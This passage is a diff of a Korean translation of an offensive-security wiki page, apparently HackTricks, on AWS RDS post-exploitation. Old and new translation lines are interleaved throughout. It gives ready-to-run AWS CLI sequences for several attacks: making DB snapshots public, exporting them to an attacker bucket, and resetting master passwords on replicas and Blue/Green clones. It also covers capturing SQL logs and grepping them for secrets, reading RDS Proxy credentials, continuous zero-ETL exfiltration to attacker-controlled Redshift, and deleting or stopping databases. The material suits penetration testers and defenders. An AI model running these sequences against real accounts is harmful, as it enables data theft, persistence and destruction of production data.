`lambda:UpdateFunctionConfiguration`을 악용해 기존 EFS Access Point를 Lambda에 연결한 다음, 마운트된 경로에서 파일을 나열/읽는 간단한 코드를 배포하여 함수가 이전에 접근할 수 없었던 공유된 secrets/config를 exfiltrate할 수 있습니다.
|
||||
`lambda:UpdateFunctionConfiguration`을 악용해 기존 EFS Access Point를 Lambda에 연결한 후, 마운트된 경로에서 파일을 나열/읽는 단순한 코드를 배포하여 함수가 이전에는 접근할 수 없었던 공유된 비밀/설정(shared secrets/config)을 탈취할 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## RDS
|
||||
|
||||
자세한 내용은 다음을 확인하세요:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
공격자가 충분한 권한을 가지고 있으면, DB의 스냅샷을 생성한 뒤 그 스냅샷으로부터 **공개적으로 접근 가능한 DB**를 생성하여 해당 DB를 공개적으로 접근 가능하게 만들 수 있습니다.
|
||||
공격자가 충분한 권한을 가지고 있다면, DB의 스냅샷을 생성한 다음 그 스냅샷으로부터 **공개적으로 접근 가능한 DB**를 만들 수 있습니다.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -39,21 +39,21 @@ aws rds modify-db-instance \
|
||||
# Connect to the new DB after a few mins
|
||||
```
|
||||
### `rds:StopDBCluster` & `rds:StopDBInstance`
|
||||
rds:StopDBCluster 또는 rds:StopDBInstance 권한을 가진 공격자는 RDS 인스턴스나 전체 클러스터를 즉시 중지시켜 데이터베이스 사용 불가, 연결 끊김, 그리고 데이터베이스에 의존하는 프로세스의 중단을 초래할 수 있습니다.
|
||||
`rds:StopDBCluster` 또는 `rds:StopDBInstance` 권한을 가진 공격자는 RDS 인스턴스나 전체 클러스터를 즉시 중지시켜 데이터베이스 가용성 중단, 연결 끊김, 그리고 데이터베이스에 의존하는 프로세스들의 중단을 초래할 수 있습니다.
|
||||
|
||||
To stop a single DB instance (example):
|
||||
단일 DB 인스턴스를 중지하는 예:
|
||||
```bash
|
||||
aws rds stop-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
|
||||
```
|
||||
전체 DB 클러스터를 중지하려면 (예):
|
||||
DB 클러스터 전체를 중지하려면 (예):
|
||||
```bash
|
||||
aws rds stop-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
|
||||
```
|
||||
### `rds:Delete*`
|
||||
|
||||
rds:Delete* 권한이 부여된 공격자는 RDS resources를 제거할 수 있으며, DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups and related artifacts를 삭제하여 즉시 서비스 중단, 데이터 손실, 복구 지점의 파괴 및 포렌식 증거의 손실을 초래할 수 있습니다.
|
||||
rds:Delete* 권한이 부여된 공격자는 RDS 리소스를 제거할 수 있으며, DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups 및 관련 아티팩트를 삭제하여 즉각적인 서비스 중단, 데이터 손실, 복구 지점의 파괴 및 포렌식 증거의 손실을 초래할 수 있습니다.
|
||||
```bash
|
||||
# Delete a DB instance (creates a final snapshot unless you skip it)
|
||||
aws rds delete-db-instance \
|
||||
@@ -76,9 +76,9 @@ aws rds delete-db-cluster \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
이러한 permissions을 가진 attacker는 **create an snapshot of a DB** 하고 이를 **publicly** **available** 하게 만들 수 있습니다. 그런 다음, 그는 자신의 account에서 해당 snapshot으로부터 DB를 생성할 수 있습니다.
|
||||
권한을 가진 공격자는 DB의 **스냅샷을 생성**하고 이를 **공개적으로** **사용 가능하게** 만들 수 있습니다. 그런 다음 자신의 계정에서 해당 스냅샷으로 DB를 생성할 수 있습니다.
|
||||
|
||||
만약 attacker가 **doesn't have the `rds:CreateDBSnapshot`**, 그래도 그는 생성된 **other** snapshot들을 **public** 하게 만들 수 있습니다.
|
||||
공격자가 **`rds:CreateDBSnapshot` 권한이 없는 경우**, 그는 여전히 **다른** 생성된 스냅샷을 **공개**로 만들 수 있습니다.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -89,45 +89,45 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
`rds:DownloadDBLogFilePortion` 권한이 있는 공격자는 **RDS 인스턴스의 로그 파일 일부를 다운로드할 수 있습니다**. 민감한 데이터나 접근 자격증명이 실수로 로그에 기록되어 있다면, 공격자는 이 정보를 이용해 권한을 상승시키거나 무단으로 작업을 수행할 수 있습니다.
|
||||
`rds:DownloadDBLogFilePortion` 권한을 가진 공격자는 **RDS 인스턴스의 로그 파일 일부를 다운로드할 수 있습니다**. 민감한 데이터나 접근 자격 증명이 실수로 로그에 기록되어 있다면, 공격자는 이 정보를 이용해 권한을 상승시키거나 무단으로 작업을 수행할 수 있습니다.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**잠재적 영향**: leaked credentials를 사용해 민감한 정보에 접근하거나 무단 작업을 수행할 수 있음.
|
||||
**잠재적 영향**: 민감한 정보에 접근하거나 leaked credentials을 사용한 무단 작업.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
해당 권한을 가진 공격자는 **DoS existing RDS instances**.
|
||||
이 권한을 가진 공격자는 **DoS existing RDS instances**를 수행할 수 있습니다.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**잠재적 영향**: 기존 RDS 인스턴스 삭제 및 데이터 손실 가능성.
|
||||
**잠재적 영향**: 기존 RDS 인스턴스의 삭제 및 데이터 손실 가능성.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: 테스트
|
||||
|
||||
이 권한을 가진 attacker는 **RDS 인스턴스 스냅샷을 S3 버킷으로 내보낼 수 있습니다**. 만약 attacker가 대상 S3 버킷을 제어할 수 있다면, 내보낸 스냅샷 내의 민감한 데이터에 접근할 수 있습니다.
|
||||
이 권한을 가진 공격자는 **RDS 인스턴스 스냅샷을 S3 버킷으로 내보낼 수 있습니다**. 공격자가 대상 S3 버킷을 제어할 수 있는 경우, 내보낸 스냅샷 내의 민감한 데이터에 접근할 수 있습니다.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Potential impact**: 내보낸 스냅샷에 포함된 민감한 데이터에 접근할 수 있음.
|
||||
**잠재적 영향**: 내보낸 스냅샷의 민감한 데이터에 대한 접근.
|
||||
|
||||
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
cross-Region automated backups replication을 악용하면 RDS 인스턴스의 automated backups를 다른 AWS Region으로 조용히 복제하고 그곳에서 복원할 수 있습니다. 그 후 공격자는 복원된 DB를 공개적으로 접근 가능하도록 만들고 마스터 비밀번호를 재설정하여 수비자가 모니터링하지 않을 수 있는 Region에서 오프밴드로 데이터를 획득할 수 있습니다.
|
||||
Abuse cross-Region automated backups replication을 악용해 RDS 인스턴스의 자동 백업을 다른 AWS Region으로 조용히 복제하고 거기서 복원할 수 있습니다. 공격자는 복원된 DB를 공개적으로 접근 가능하게 만들고 마스터 비밀번호를 재설정하여 수비자가 모니터링하지 않을 수 있는 Region에서 오프밴드로 데이터를 접근할 수 있습니다.
|
||||
|
||||
Permissions needed (minimum):
|
||||
필요 권한(최소):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
- `rds:ModifyDBInstance` in the destination Region
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (선택적 정리)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (복원된 DB를 노출하기 위해)
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
|
||||
|
||||
Impact: 프로덕션 데이터의 복사본을 다른 Region으로 복원하고 공격자가 제어하는 자격증명으로 공개적으로 노출함으로써 지속성 유지 및 데이터 유출을 달성할 수 있음.
|
||||
영향: Persistence 및 data exfiltration — production data의 사본을 다른 Region에 복원하고 공격자 제어 자격증명으로 공개 노출함.
|
||||
|
||||
<details>
|
||||
<summary>엔드투엔드 CLI (플레이스홀더 교체)</summary>
|
||||
@@ -199,26 +199,26 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### DB parameter groups를 통해 전체 SQL 로깅을 활성화하고 RDS log APIs로 exfiltrate
|
||||
### DB 파라미터 그룹을 통해 전체 SQL 로깅 활성화하고 RDS 로그 API로 exfiltrate
|
||||
|
||||
애플리케이션에서 실행된 모든 SQL 문을 캡처하기 위해 `rds:ModifyDBParameterGroup`와 RDS log download APIs를 악용합니다 (DB 엔진 자격 증명 불필요). 엔진 SQL 로깅을 활성화한 뒤 `rds:DescribeDBLogFiles` 및 `rds:DownloadDBLogFilePortion`(또는 REST `downloadCompleteLogFile`)로 로그 파일을 가져옵니다. secrets/PII/JWTs를 포함할 수 있는 쿼리를 수집하는 데 유용합니다.
|
||||
`rds:ModifyDBParameterGroup` 권한을 남용하여 RDS 로그 다운로드 API로 애플리케이션에서 실행된 모든 SQL 문을 캡처할 수 있습니다 (DB 엔진 자격증명 불필요). 엔진 SQL 로깅을 활성화한 후 `rds:DescribeDBLogFiles`와 `rds:DownloadDBLogFilePortion`(또는 REST `downloadCompleteLogFile`)로 로그 파일을 내려받습니다. 비밀/PII/JWT를 포함할 수 있는 쿼리를 수집하는 데 유용합니다.
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
|
||||
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
|
||||
- `rds:ModifyDBInstance` (인스턴스가 기본 파라미터 그룹을 사용하는 경우 사용자 정의 파라미터 그룹을 연결하기 위한 용도만)
|
||||
- `rds:RebootDBInstance` (재부팅이 필요한 파라미터용, 예: PostgreSQL)
|
||||
|
||||
단계
|
||||
1) Recon: 대상 및 현재 parameter group 확인
|
||||
Steps
|
||||
1) Recon target and current parameter group
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) custom DB parameter group이 연결되어 있는지 확인하세요 (기본값은 편집할 수 없습니다)
|
||||
- 인스턴스가 이미 custom DB parameter group을 사용하고 있다면, 다음 단계에서 해당 이름을 재사용하세요.
|
||||
- 그렇지 않으면 엔진 패밀리에 맞는 custom DB parameter group을 생성하고 연결하세요:
|
||||
2) custom DB parameter group이 연결되어 있는지 확인하세요 (default는 편집할 수 없습니다)
|
||||
- 인스턴스가 이미 custom group을 사용 중이면 다음 단계에서 해당 이름을 재사용하세요.
|
||||
- 그렇지 않으면 engine family에 맞는 것을 생성하여 연결하세요:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
@@ -233,7 +233,7 @@ aws rds modify-db-instance \
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) 자세한 SQL 로깅 활성화
|
||||
- MySQL 엔진 (즉시 / 재부팅 불필요):
|
||||
- MySQL engines (즉시 / 재부팅 불필요):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -244,7 +244,7 @@ aws rds modify-db-parameter-group \
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- PostgreSQL 엔진(재부팅 필요):
|
||||
- PostgreSQL 엔진 (재부팅 필요):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -256,11 +256,11 @@ aws rds modify-db-parameter-group \
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) 워크로드를 실행하거나 쿼리를 생성합니다. 쿼리는 엔진 파일 로그에 기록됩니다
|
||||
4) 워크로드를 실행시키거나 쿼리를 생성하세요. 명령문은 엔진 파일 로그에 기록됩니다
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) 로그를 찾아 다운로드합니다(DS 자격 증명 불필요)
|
||||
5) 로그를 찾아 다운로드하세요 (DB 자격증명 불필요)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
@@ -271,7 +271,7 @@ aws rds download-db-log-file-portion \
|
||||
--starting-token 0 \
|
||||
--output text > dump.log
|
||||
```
|
||||
6) 오프라인에서 민감한 데이터 분석
|
||||
6) 민감한 데이터에 대해 오프라인으로 분석
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
@@ -282,7 +282,7 @@ grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | s
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
정리
|
||||
- 파라미터를 기본값으로 되돌리고 필요하면 재부팅하세요:
|
||||
- 파라미터를 기본값으로 되돌리고 필요시 재부팅:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
@@ -297,19 +297,19 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
영향: Post-exploitation 단계에서 AWS APIs를 통해 애플리케이션의 모든 SQL 문을 캡처하여 데이터에 접근할 수 있으며 (no DB creds), secrets, JWTs, and PII가 leak될 수 있습니다.
|
||||
영향: Post-exploitation 동안 AWS APIs를 통해 모든 애플리케이션 SQL 명령문을 캡처하여 데이터에 접근할 수 있으며 (no DB creds), 잠재적으로 secrets, JWTs, and PII가 leak될 수 있음.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
RDS read replicas를 악용하여 primary 인스턴스의 자격증명에 손대지 않고도 아웃오브밴드 읽기 접근을 얻을 수 있습니다. 공격자는 production 인스턴스에서 read replica를 생성한 뒤 replica의 master password를 재설정할 수 있습니다(이 작업은 primary를 변경하지 않습니다). 선택적으로 replica를 공개로 노출하여 데이터를 exfiltrate할 수 있습니다.
|
||||
RDS 읽기 복제본을 악용하여 주 인스턴스의 자격증명을 건드리지 않고도 외부 경로로 읽기 접근 권한을 얻을 수 있습니다. 공격자는 운영 인스턴스에서 읽기 복제본을 생성하고, 복제본의 master 비밀번호를 재설정할 수 있습니다(이 조치는 primary를 변경하지 않음). 또한 선택적으로 복제본을 공개적으로 노출시켜 데이터를 exfiltrate할 수 있습니다.
|
||||
|
||||
필요 권한 (최소):
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (공개로 노출하는 경우)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (공개 노출 시 필요)
|
||||
|
||||
영향: 공격자가 제어하는 자격증명을 가진 replica를 통해 production 데이터에 대한 읽기 전용 접근이 가능하며; primary는 건드리지 않은 채 replication이 계속되므로 탐지 가능성이 낮습니다.
|
||||
영향: 공격자가 제어하는 자격증명을 가진 복제본을 통해 production 데이터에 대한 읽기 전용 접근 권한을 얻을 수 있으며; primary는 건드려지지 않고 복제가 계속되므로 탐지 가능성이 낮아짐.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -341,12 +341,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
예시 증거 (MySQL):
|
||||
- 리플리카 DB 상태: `available`, 읽기 복제: `replicating`
|
||||
- 새 비밀번호로 성공적으로 연결되었고 `@@read_only=1`로 읽기 전용 리플리카 접근이 확인됨.
|
||||
- 복제 DB 상태: `available`, read replication: `replicating`
|
||||
- 새 비밀번호로의 성공적인 연결 및 `@@read_only=1`으로 읽기 전용 복제본 접근이 확인됨.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
RDS Blue/Green를 악용해 프로덕션 DB를 지속적으로 복제되는 읽기 전용 green 환경으로 클론한다. 그런 다음 green 마스터 자격증명을 재설정해 blue (prod) 인스턴스를 건드리지 않고 데이터를 접근한다. 이는 스냅샷 공유보다 은밀하며 종종 소스에만 초점을 맞춘 모니터링을 우회한다.
|
||||
RDS Blue/Green를 악용하여 운영 DB를 지속적으로 복제되는 읽기 전용 green 환경으로 클론합니다. 그런 다음 green 마스터 자격 증명을 재설정하여 blue (prod) 인스턴스를 건드리지 않고 데이터를 액세스합니다. 이는 스냅샷 공유보다 은밀하며 종종 소스만을 대상으로 하는 모니터링을 우회합니다.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
@@ -393,21 +393,22 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
영향: 읽기 전용이지만 프로덕션 인스턴스를 수정하지 않고 거의 실시간으로 복제된 프로덕션의 전체 데이터에 접근할 수 있습니다. 은밀한 데이터 추출 및 오프라인 분석에 유용합니다.
|
||||
영향: 읽기 전용이지만 프로덕션 인스턴스를 수정하지 않고 프로덕션의 거의 실시간 클론에 대한 전체 데이터 접근이 가능합니다. 은밀한 데이터 추출 및 오프라인 분석에 유용합니다.
|
||||
|
||||
|
||||
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
|
||||
|
||||
Aurora를 악용하여 대상 클러스터에서 RDS Data API HTTP endpoint를 활성화하고, 마스터 패스워드를 공격자가 제어하는 값으로 재설정한 후 HTTPS로 SQL을 실행합니다(별도의 VPC 네트워크 경로 불필요). Data API/EnableHttpEndpoint를 지원하는 Aurora 엔진에서 작동합니다(예: Aurora MySQL 8.0 provisioned; 일부 Aurora PostgreSQL/MySQL 버전).
|
||||
Aurora를 악용해 타깃 클러스터에서 RDS Data API HTTP endpoint를 활성화하고, 마스터 비밀번호를 공격자가 제어하는 값으로 재설정한 뒤 HTTPS를 통해 SQL을 실행합니다(직접적인 VPC 네트워크 경로 불필요). Data API/EnableHttpEndpoint를 지원하는 Aurora 엔진에서 작동합니다(예: Aurora MySQL 8.0 provisioned; 일부 Aurora PostgreSQL/MySQL 버전).
|
||||
|
||||
권한(최소):
|
||||
Permissions (minimum):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
영향: 네트워크 분할을 우회하고 DB에 대한 직접적인 VPC 연결 없이 AWS APIs를 통해 데이터를 유출할 수 있습니다.
|
||||
영향: 네트워크 분할을 우회하고 DB에 대한 직접적인 VPC 연결 없이 AWS APIs를 통해 데이터를 유출(exfiltrate)할 수 있음.
|
||||
|
||||
<details>
|
||||
<summary>엔드투엔드 CLI (Aurora MySQL 예시)</summary>
|
||||
<summary>엔드-투-엔드 CLI (Aurora MySQL 예시)</summary>
|
||||
```bash
|
||||
# 1) Identify target cluster ARN
|
||||
REGION=us-east-1
|
||||
@@ -460,21 +461,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
</details>
|
||||
|
||||
참고:
|
||||
- rds-data가 다중 SQL 문을 거부하면, 개별 execute-statement 호출을 사용하세요.
|
||||
- modify-db-cluster --enable-http-endpoint가 효과가 없는 엔진에서는 rds enable-http-endpoint --resource-arn를 사용하세요.
|
||||
- 엔진/버전이 실제로 Data API를 지원하는지 확인하세요; 그렇지 않으면 HttpEndpointEnabled는 False로 유지됩니다.
|
||||
- If multi-statement SQL is rejected by rds-data, issue separate execute-statement calls.
|
||||
- For engines where modify-db-cluster --enable-http-endpoint has no effect, use rds enable-http-endpoint --resource-arn.
|
||||
- Ensure the engine/version actually supports the Data API; otherwise HttpEndpointEnabled will remain False.
|
||||
|
||||
|
||||
### RDS Proxy auth secrets를 통한 DB 자격증명 수집 (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
### RDS Proxy 인증 secret을 통한 DB 자격 증명 수집 (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
RDS Proxy 구성을 악용해 백엔드 인증에 사용되는 Secrets Manager 시크릿을 찾아 해당 시크릿을 읽어 DB 자격증명을 얻습니다. 많은 환경에서 광범위한 `secretsmanager:GetSecretValue` 권한이 부여되어 있어 DB 자격증명으로의 전환이 쉬운 편입니다. 시크릿이 CMK를 사용하는 경우, 잘못 범위 지정된 KMS 권한으로 `kms:Decrypt`도 허용될 수 있습니다.
|
||||
RDS Proxy 구성을 악용하여 백엔드 인증에 사용되는 Secrets Manager secret을 찾아낸 다음, 해당 secret을 읽어 데이터베이스 자격 증명을 얻습니다. 많은 환경이 광범위한 `secretsmanager:GetSecretValue` 권한을 부여하여, 이는 DB 자격 증명으로의 낮은 마찰 전환 경로가 됩니다. secret이 CMK를 사용하는 경우, 잘못 범위 지정된 KMS 권한으로 `kms:Decrypt`도 허용될 수 있습니다.
|
||||
|
||||
필요 권한(최소):
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` (참조된 SecretArn에 대해)
|
||||
- 시크릿이 CMK를 사용하는 경우 선택적: 해당 키에 대한 `kms:Decrypt`
|
||||
- `secretsmanager:GetSecretValue` on the referenced SecretArn
|
||||
- Optional when the secret uses a CMK: `kms:Decrypt` on that key
|
||||
|
||||
영향: 프록시에 구성된 DB 사용자명/비밀번호가 즉시 노출됩니다; 직접 DB 접근 또는 추가적 lateral movement를 가능하게 합니다.
|
||||
Impact: Immediate disclosure of DB username/password configured on the proxy; enables direct DB access or further lateral movement.
|
||||
|
||||
단계
|
||||
```bash
|
||||
@@ -489,7 +490,7 @@ aws secretsmanager get-secret-value \
|
||||
--query SecretString --output text
|
||||
# Example output: {"username":"admin","password":"S3cr3t!"}
|
||||
```
|
||||
실습 (재현을 위한 최소 구성)
|
||||
실습 (재현을 위한 최소 환경)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
@@ -508,27 +509,27 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
|
||||
aws rds wait db-proxy-available --db-proxy-name p0
|
||||
# Now run the enumeration + secret read from the Steps above
|
||||
```
|
||||
정리 (lab)
|
||||
정리 (실습)
|
||||
```bash
|
||||
aws rds delete-db-proxy --db-proxy-name p0
|
||||
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Aurora zero‑ETL을 통한 Amazon Redshift로의 은밀한 지속적 데이터 유출 (rds:CreateIntegration)
|
||||
### Aurora zero‑ETL를 통한 Amazon Redshift로의 은밀한 지속적 데이터 유출 (rds:CreateIntegration)
|
||||
|
||||
Aurora PostgreSQL zero‑ETL 통합을 악용해 운영 데이터를 공격자가 제어하는 Redshift Serverless 네임스페이스로 지속적으로 복제할 수 있습니다. 특정 Aurora cluster ARN에 대해 CreateInboundIntegration/AuthorizeInboundIntegration을 허용하는 관대한 Redshift 리소스 정책이 있으면, 공격자는 DB creds, snapshots 또는 네트워크 노출 없이 거의 실시간에 가까운 데이터 복사본을 만들 수 있습니다.
|
||||
Aurora PostgreSQL zero‑ETL 통합을 악용하여 운영 데이터를 공격자가 제어하는 Redshift Serverless namespace로 지속적으로 복제할 수 있습니다. 특정 Aurora cluster ARN에 대해 CreateInboundIntegration/AuthorizeInboundIntegration을 허용하는 넉넉한 Redshift 리소스 정책이 있으면, 공격자는 DB creds, snapshots 또는 네트워크 노출 없이 거의 실시간 데이터 복사본을 생성할 수 있습니다.
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
|
||||
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (쿼리용)
|
||||
- `rds-data:ExecuteStatement` (선택; 필요시 데이터 주입용)
|
||||
|
||||
Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
<details>
|
||||
<summary>1) Redshift Serverless 네임스페이스 + workgroup 생성</summary>
|
||||
<summary>1) Redshift Serverless namespace + workgroup 생성</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
|
||||
@@ -575,7 +576,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Aurora PostgreSQL 클러스터 생성 (Data API 및 logical replication 활성화)</summary>
|
||||
<summary>3) Aurora PostgreSQL 클러스터 생성 (Data API 및 논리적 복제 활성화)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
@@ -606,7 +607,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>4) RDS에서 zero‑ETL 통합 생성</summary>
|
||||
<summary>4) RDS에서 zero‑ETL integration 생성</summary>
|
||||
```bash
|
||||
# Include all tables in the default 'postgres' database
|
||||
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
|
||||
@@ -618,7 +619,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>5) Redshift에서 복제된 데이터를 materialize하고 query하기</summary>
|
||||
<summary>5) Redshift에서 복제된 데이터를 실체화하고 쿼리하기</summary>
|
||||
```bash
|
||||
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
@@ -633,9 +634,10 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
|
||||
테스트에서 관찰된 증거:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION은 DB 생성 이전에 integration_id 377a462b-c42c-4f08-937b-77fe75d98211과 state PendingDbConnectState를 표시했습니다.
|
||||
- CREATE DATABASE FROM INTEGRATION 이후 테이블을 나열하자 schema ztl과 table customers가 나타났고, ztl.customers에서 선택하면 2개의 행(Alice, Bob)이 반환되었습니다.
|
||||
- SVV_INTEGRATION은 integration_id 377a462b-c42c-4f08-937b-77fe75d98211 및 state PendingDbConnectState를 DB 생성 이전에 표시했습니다.
|
||||
- CREATE DATABASE FROM INTEGRATION 이후, 테이블 목록을 확인하니 스키마 ztl과 테이블 customers가 나타났고; ztl.customers를 조회하니 2행(Alice, Bob)을 반환했습니다.
|
||||
|
||||
